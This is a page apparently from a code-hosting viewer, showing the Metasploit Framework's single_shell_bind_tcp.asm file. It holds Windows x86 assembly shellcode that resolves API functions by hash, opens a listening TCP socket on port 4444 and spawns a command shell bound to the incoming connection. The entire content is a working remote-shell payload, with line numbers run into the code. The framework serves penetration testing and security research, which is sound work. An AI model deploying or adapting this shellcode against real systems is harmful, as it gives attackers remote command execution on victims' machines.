Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/single_shell_bind_tcp.asm
Views: 11779
;1; Metasploit Framework2; http://www.metasploit.com3;4; Source for shell_bind_tcp (single)5;6; Authors: vlad902 <vlad902@gmail.com>7; Size : 3178;910cld11push byte -0x1512dec ebp13call 0x214pusha15mov ebp,[esp+0x24]16mov eax,[ebp+0x3c]17mov edi,[ebp+eax+0x78]18add edi,ebp19mov ecx,[edi+0x18]20mov ebx,[edi+0x20]21add ebx,ebp22dec ecx23mov esi,[ebx+ecx*4]24add esi,ebp25xor eax,eax26cdq27lodsb28test al,al29jz 0x3430ror edx,0xd31add edx,eax32jmp short 0x2833cmp edx,[esp+0x28]34jnz 0x1f35mov ebx,[edi+0x24]36add ebx,ebp37mov cx,[ebx+ecx*2]38mov ebx,[edi+0x1c]39add ebx,ebp40add ebp,[ebx+ecx*4]41mov [esp+0x1c],ebp42popa43ret44xor ebx,ebx45mov eax,[fs:ebx+0x30]46mov eax,[eax+0xc]47mov esi,[eax+0x1c]48lodsd49mov eax,[eax+0x8]50pop esi51push dword 0xec0e4e8e52push eax53call esi54push bx55push word 0x323356push dword 0x5f32737757push esp58call eax59push dword 0x3bfcedcb60push eax61call esi62pop edi63mov ebp,esp64sub bp,0x20865push ebp66push byte +0x267call eax68push dword 0xadf509d969push edi70call esi71push ebx72push ebx73push ebx74push ebx75push ebx76inc ebx77push ebx78inc ebx79push ebx80call eax81push word 0x5c1182push bx83mov ecx,esp84xchg eax,ebp85push dword 0xc7701aa486push edi87call esi88push byte +0x1089push ecx90push ebp91call eax92push dword 0xe92eada493push edi94call esi95push ebx96push ebp97call eax98push dword 0x498649e599push edi100call esi101push eax102push esp103push esp104push ebp105call eax106xchg eax,ebx107push dword 0x79c679e7108push edi109call esi110push ebp111call eax112o16 push byte +0x64113push word 0x6d63114mov ebp,esp115push byte +0x50116pop ecx117sub esp,ecx118mov edi,esp119push byte +0x44120mov edx,esp121xor eax,eax122rep stosb123inc byte [edx+0x2d]124inc byte [edx+0x2c]125xchg eax,ebx126lea edi,[edx+0x38]127stosd128stosd129stosd130push dword 0x16b3fe72131push dword [ebp+0x44]132call esi133pop ebx134push edi135push edx136push ecx137push ecx138push ecx139push byte +0x1140push ecx141push ecx142push ebp143push ecx144call eax145push dword 0xce05d9ad146push ebx147call esi148push byte -0x1149push dword [edi]150call eax151mov edx,[edi-0x4]152add esp,byte +0x64153call esi154push edx155call eax156push dword 0x5f048af0157push ebx158call esi159call eax160161162